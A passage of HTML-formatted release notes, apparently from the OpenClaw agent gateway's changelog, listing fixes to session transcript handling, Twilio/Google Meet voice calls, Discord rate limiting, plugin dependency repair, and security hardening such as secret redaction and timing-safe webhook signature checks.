<p>Gateway/sessions: yield during bulk transcript title/preview hydration and copy compaction checkpoints asynchronously, keeping the Gateway event loop responsive for large session stores and large transcripts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362222686" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75330" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75330/hovercard" href="https://github.com/openclaw/openclaw/issues/75330">#75330</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362708402" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75414" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75414/hovercard" href="https://github.com/openclaw/openclaw/issues/75414">#75414</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Gateway/sessions: stream bounded transcript reads for session detail, history, artifacts, compaction, and send/subscribe sequence paths so small Gateway requests no longer materialize large transcripts or OOM on oversized session logs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/chat: bound chat-history transcript reads to the requested display window so large session logs no longer OOM the Gateway when clients ask for a small history page. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>BlueBubbles: detect audio attachments by Apple UTIs (<code>public.audio</code>, <code>public.mpeg-4-audio</code>, <code>com.apple.m4a-audio</code>, <code>com.apple.coreaudio-format</code>) in addition to <code>audio/*</code> MIME, so iMessage voice notes whose webhook payload only carries the UTI are now classified as audio in the inbound <code>&lt;media:audio&gt;</code> placeholder instead of falling through to the generic <code>&lt;media:attachment&gt;</code> tag. Thanks @omarshahine.</p>
</li>
<li>
<p>Voice Call/Twilio: honor stored pre-connect TwiML before realtime webhook shortcuts and reject DTMF sequences outside conversation mode, so Meet PIN entry cannot be skipped or silently dropped. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</p>
</li>
<li>
<p>Docs/sandboxing: clarify that sandbox setup scripts (<code>sandbox-setup.sh</code>, <code>sandbox-common-setup.sh</code>, <code>sandbox-browser-setup.sh</code>) are only available from a source checkout, and add inline <code>docker build</code> commands for npm-installed users so sandbox image setup works without cloning the repo. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363242333" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75485" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75485/hovercard" href="https://github.com/openclaw/openclaw/issues/75485">#75485</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Google Meet/Voice Call: play Twilio Meet DTMF before opening the realtime media stream and carry the intro as the initial Voice Call message, so the greeting is generated after Meet admits the phone participant instead of racing a live-call TwiML update. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</p>
</li>
<li>
<p>Google Meet/Voice Call: make Twilio setup preflight honor explicit <code>--transport twilio</code> and fail local/private Voice Call webhook URLs, including IPv6 loopback and unique-local forms, before joins. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</p>
</li>
<li>
<p>Voice Call/Twilio: retry transient 21220 live-call TwiML updates and catch answered-path initial-greeting failures, so a fast answered callback no longer crashes the Gateway or drops the Twilio greeting/listen transition. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353522708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74606" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74606/hovercard" href="https://github.com/openclaw/openclaw/pull/74606">#74606</a>) Thanks @Sivan22.</p>
</li>
<li>
<p>CLI/startup: preserve <code>OPENCLAW_HIDE_BANNER</code> banner suppression for route-first startup callers that rely on the default process environment while keeping read-only status/channel paths from repairing bundled plugin runtime dependencies. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360048495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75183/hovercard" href="https://github.com/openclaw/openclaw/pull/75183">#75183</a>.</p>
</li>
<li>
<p>Voice Call/Twilio: register accepted media streams immediately but wait for realtime transcription readiness before speaking the initial greeting, so reconnect grace handling stays live while OpenAI STT startup is no longer starved by TTS. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360162005" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75197" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75197/hovercard" href="https://github.com/openclaw/openclaw/issues/75197">#75197</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361111739" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75257" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75257/hovercard" href="https://github.com/openclaw/openclaw/pull/75257">#75257</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</p>
</li>
<li>
<p>Voice Call CLI: run gateway-delegated <code>voicecall continue</code> through operation-id polling and protocol-shaped errors, so long conversational turns keep their transcript result without blocking a single Gateway RPC. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363097375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75459" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75459/hovercard" href="https://github.com/openclaw/openclaw/pull/75459">#75459</a>) Thanks @serrurco and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
<li>
<p>Voice Call CLI: delegate operational <code>voicecall</code> commands to the running Gateway runtime and skip webhook startup during CLI-only plugin loading, preventing webhook port conflicts and <code>setup --json</code> hangs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331824729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72345" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72345/hovercard" href="https://github.com/openclaw/openclaw/issues/72345">#72345</a>. Thanks @serrurco and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
<li>
<p>Agents/pi-embedded-runner: extract the <code>abortable</code> provider-call wrapper from <code>runEmbeddedAttempt</code> to module scope so its promise handlers no longer close over the run lexical context, releasing transcripts, tool buffers, and subscription callbacks when a provider call hangs past abort. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348625606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74182" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74182/hovercard" href="https://github.com/openclaw/openclaw/issues/74182">#74182</a>) Thanks @cjboy007.</p>
</li>
<li>
<p>Docker: restore <code>python3</code> in the gateway runtime image after the slim-runtime switch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357583202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75041" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75041/hovercard" href="https://github.com/openclaw/openclaw/issues/75041">#75041</a>.</p>
</li>
<li>
<p>Agents/session-repair: fix resumed sessions failing with repeated 400 errors on Anthropic and strict OpenAI-compatible providers (Qwen, mlx-vlm) after an interrupted conversation or blank user input. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361379280" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75271" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75271/hovercard" href="https://github.com/openclaw/openclaw/issues/75271">#75271</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362043132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75313" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75313/hovercard" href="https://github.com/openclaw/openclaw/issues/75313">#75313</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>CLI/Voice Call: scope <code>voicecall</code> command activation to the Voice Call plugin so setup and smoke checks no longer broad-load unrelated plugin runtimes or hang after printing JSON. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Doctor/plugins: warn when restrictive <code>plugins.allow</code> is paired with wildcard or plugin-owned tool allowlists, making the exclusive plugin allowlist behavior visible before users hit empty callable-tool runs. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174851981" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58009" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58009/hovercard" href="https://github.com/openclaw/openclaw/issues/58009">#58009</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245604493" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64982" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64982/hovercard" href="https://github.com/openclaw/openclaw/issues/64982">#64982</a>. Thanks @KR-Python and @BKF-Gitty.</p>
</li>
<li>
<p>Google Meet/Voice Call: keep Twilio Meet joins in conversation mode and reuse the realtime intro prompt when no voice-call-specific intro is configured, so answered phone bridge calls speak instead of joining silently. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
<li>
<p>Auto-reply/group chats: keep the <code>message</code> tool available for message-tool-only visible replies and apply group-scoped tool policy before deciding fallback delivery, so Discord/Slack-style rooms reply visibly in the correct channel after upgrades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355291678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74842" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74842/hovercard" href="https://github.com/openclaw/openclaw/issues/74842">#74842</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360452638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75207" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75207/hovercard" href="https://github.com/openclaw/openclaw/issues/75207">#75207</a>. Thanks @davelutztx and @aa-on-ai.</p>
</li>
<li>
<p>Agents/commitments: keep inferred follow-ups internal when heartbeat target is none, strip raw source text from stored commitments, disable tools during due-commitment heartbeat turns, bound hidden extraction queue growth, expire stale commitments, and add QA/Docker safety coverage. Thanks @vignesh07.</p>
</li>
<li>
<p>Telegram/agents: keep typing indicators and optional generation tools off the reply critical path, so fresh Telegram replies no longer stall while provider catalogs and media models load. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362421293" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75360" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75360/hovercard" href="https://github.com/openclaw/openclaw/pull/75360">#75360</a>) Thanks @obviyus.</p>
</li>
<li>
<p>Agents/commitments: run hidden follow-up extraction on the configured agent/default model instead of falling back to direct OpenAI, so OpenAI Codex OAuth-only gateways no longer spam background API-key failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362274024" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75334" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75334/hovercard" href="https://github.com/openclaw/openclaw/issues/75334">#75334</a>. Thanks @sene1337.</p>
</li>
<li>
<p>Agents/media: keep async music generation completions on the requester-session wake path even when direct-send completion is enabled, so finished audio stays agent-mediated while video can still opt into direct channel delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362275213" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75335" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75335/hovercard" href="https://github.com/openclaw/openclaw/pull/75335">#75335</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Security/config-audit: redact CLI argv and execArgv secrets before persisting config audit records, covering write, observe, and recovery paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204612186" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60826" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60826/hovercard" href="https://github.com/openclaw/openclaw/issues/60826">#60826</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/koshaji/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/koshaji">@koshaji</a>.</p>
</li>
<li>
<p>Gateway/models: keep default and configured model-list views responsive when provider catalog discovery stalls, without hiding real catalog load failures, while <code>--all</code> still waits for the exact full catalog. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361752617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75297" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75297/hovercard" href="https://github.com/openclaw/openclaw/issues/75297">#75297</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351397259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74404" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74404/hovercard" href="https://github.com/openclaw/openclaw/issues/74404">#74404</a>. Thanks @lisandromachado and @najef1979-code.</p>
</li>
<li>
<p>Plugins/runtime-deps: accept already materialized package-level runtime-deps supersets as converged, so later lazy plugin activation no longer prunes and relaunches <code>pnpm install</code> after gateway startup pre-staging, reducing event-loop pressure from repeated runtime-deps repair on packaged installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361552521" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75283" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75283/hovercard" href="https://github.com/openclaw/openclaw/issues/75283">#75283</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361752617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75297" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75297/hovercard" href="https://github.com/openclaw/openclaw/issues/75297">#75297</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331750102" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72338/hovercard" href="https://github.com/openclaw/openclaw/issues/72338">#72338</a>. Thanks @brokemac79, @lisandromachado, and @midhunmonachan.</p>
</li>
<li>
<p>Plugins/runtime-deps: remove OpenClaw-owned legacy runtime-deps symlinks before replacing staged bundled plugin dependencies, so updates can recover from older symlinked installs instead of failing the symlink safety guard. Thanks @goldmar.</p>
</li>
<li>
<p>Discord: retry queued REST 429s against learned bucket/global cooldowns and reacquire fresh voice upload URLs after CDN upload rate limits, so outbound sends recover without reusing stale single-use upload URLs. Thanks @discord.</p>
</li>
<li>
<p>TTS/providers: keep bundled speech-provider compat fallback available when plugins are globally disabled, so cold gateway and CLI startup can still resolve fallback speech providers instead of leaving explicit TTS provider selection with no registered providers. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361272168" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75265" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75265/hovercard" href="https://github.com/openclaw/openclaw/pull/75265">#75265</a>. Thanks @sliekens.</p>
</li>
<li>
<p>Discord: collapse repeated native slash-command deploy rate-limit startup logs into one non-fatal warning while keeping per-request REST timing in verbose output. Thanks @discord.</p>
</li>
<li>
<p>Discord: report native slash-command deploy aborts as REST timeouts with method, path, timeout budget, and observed duration, so startup logs explain slow Discord API calls instead of showing a generic aborted operation. Thanks @discord.</p>
</li>
<li>
<p>Security/logging: redact payment credential field names such as card number, CVC/CVV, shared payment token, and payment credential across default log and tool-payload redaction patterns so wallet-style MCP tools do not expose raw payment credentials in UI events or transcripts. Thanks @stainlu.</p>
</li>
<li>
<p>Providers/OpenAI Codex: preserve existing wrapped Codex streams during OpenAI attribution so PI OAuth bearer injection reaches ChatGPT/Codex Responses, and strip native Codex-only unsupported payload fields without touching custom compatible endpoints. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358840684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75111" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75111/hovercard" href="https://github.com/openclaw/openclaw/pull/75111">#75111</a>) Thanks @keshavbotagent.</p>
</li>
<li>
<p>Plugins/runtime-deps: materialize newly required bundled plugin packages after local <code>openclaw onboard</code> and <code>openclaw configure</code> config writes, while keeping remote setup read-only, so first Gateway startup no longer discovers missing channel/provider deps after setup claimed success. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361989933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75309" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75309/hovercard" href="https://github.com/openclaw/openclaw/issues/75309">#75309</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks @scottgl9 and @xiaohuaxi.</p>
</li>
<li>
<p>Plugins/runtime-deps: expire stale legacy install locks whose live PID cannot be tied to the current process incarnation, so Docker PID reuse no longer leaves bundled dependency repair stuck behind old <code>.openclaw-runtime-deps.lock</code> directories. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356320468" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74948" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74948/hovercard" href="https://github.com/openclaw/openclaw/issues/74948">#74948</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356328081" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74950" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74950/hovercard" href="https://github.com/openclaw/openclaw/pull/74950">#74950</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350782800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74346" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74346/hovercard" href="https://github.com/openclaw/openclaw/issues/74346">#74346</a>. Thanks @dchekmarev.</p>
</li>
<li>
<p>Plugins/runtime-deps: recover interrupted bundled runtime-dependency installs whose package sentinels exist but generated materialization is incomplete, forcing npm/pnpm repair in Gateway startup, doctor, and lazy plugin loads instead of leaving channels crash-looping on missing packages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361989933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75309" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75309/hovercard" href="https://github.com/openclaw/openclaw/issues/75309">#75309</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361991170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75310" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75310/hovercard" href="https://github.com/openclaw/openclaw/pull/75310">#75310</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361740220" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75296" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75296/hovercard" href="https://github.com/openclaw/openclaw/issues/75296">#75296</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361883653" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75304" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75304/hovercard" href="https://github.com/openclaw/openclaw/issues/75304">#75304</a>. Thanks @scottgl9.</p>
</li>
<li>
<p>Plugins/runtime-deps: treat no-main and export-map package sentinels without reachable entry files as incomplete, so Gateway startup, doctor, and lazy plugin loads repair interrupted bundled dependency installs instead of accepting package.json-only partial installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361989933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75309" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75309/hovercard" href="https://github.com/openclaw/openclaw/issues/75309">#75309</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360048495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75183/hovercard" href="https://github.com/openclaw/openclaw/pull/75183">#75183</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Plugins/runtime-deps: keep runtime inspection and channel maintenance commands from downloading bundled plugin dependencies, route explicit repairs through <code>openclaw plugins deps --repair</code>, and still allow Gateway/DO paths to repair missing deps before import. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks @xiaohuaxi.</p>
</li>
<li>
<p>Updates: force non-deferred, no-cooldown update restarts after package-manager updates requested through the live Gateway control plane and fail release validation on post-swap stale chunk import crashes, so Telegram/Discord imports do not stay pointed at removed dist files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360403986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75206/hovercard" href="https://github.com/openclaw/openclaw/issues/75206">#75206</a>. Thanks @xonaman and @faux123.</p>
</li>
<li>
<p>Agents/tool-result guard: use the resolved runtime context token budget for non-context-engine tool-result overflow checks, so long tool-heavy sessions no longer compact early when <code>contextTokens</code> is larger than native <code>contextWindow</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355916636" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74917" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74917/hovercard" href="https://github.com/openclaw/openclaw/issues/74917">#74917</a>. Thanks @kAIborg24.</p>
</li>
<li>
<p>Gateway/systemd: exit with sysexits 78 for supervised lock and <code>EADDRINUSE</code> conflicts so <code>RestartPreventExitStatus=78</code> stops <code>Restart=always</code> restart loops instead of repeatedly reloading plugins against an occupied port. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358976301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75115/hovercard" href="https://github.com/openclaw/openclaw/issues/75115">#75115</a>. Thanks @yhyatt.</p>
</li>
<li>
<p>Agents/runtime: skip blank visible user prompts at the embedded-runner boundary before provider submission while still allowing internal runtime-only turns and media-only prompts, so Telegram/group sessions no longer leak raw empty-input provider errors when replay history exists. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348363760" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74137" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74137/hovercard" href="https://github.com/openclaw/openclaw/issues/74137">#74137</a>. Thanks @yelog, @Gracker, and @nhaener.</p>
</li>
<li>
<p>Agents/Codex: isolate local Codex app-server <code>CODEX_HOME</code> and <code>HOME</code> per agent and add a deliberate Codex migration path with selectable skill copies, so personal Codex CLI skills, plugins, config, and hooks no longer leak into OpenClaw agents unless the operator migrates them into the workspace. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Security/Nextcloud Talk: make webhook signature validation use the padded timing-safe compare path even when the supplied signature length is wrong, keep normalized header lookup behavior, and extend regression coverage for tampered bodies, wrong secrets, array-backed headers, and truncated signatures. Carries forward earlier contributor work from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4102742606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50516" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50516/hovercard" href="https://github.com/openclaw/openclaw/pull/50516">#50516</a> by teddytennant. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175383760" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58097" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58097/hovercard" href="https://github.com/openclaw/openclaw/pull/58097">#58097</a>) Thanks @gavyngong.</p>
</li>
<li>
<p>Plugins/runtime-deps: replace stale symlinked mirror target roots before writing runtime-mirror temp files and skip rewriting already materialized hardlinks, so cross-version container upgrades no longer crash-loop on read-only image-layer paths while warm mirrors do less churn. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358776355" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75108" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75108/hovercard" href="https://github.com/openclaw/openclaw/issues/75108">#75108</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coletebou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coletebou">@coletebou</a> and @xiaohuaxi.</p>
</li>
<li>
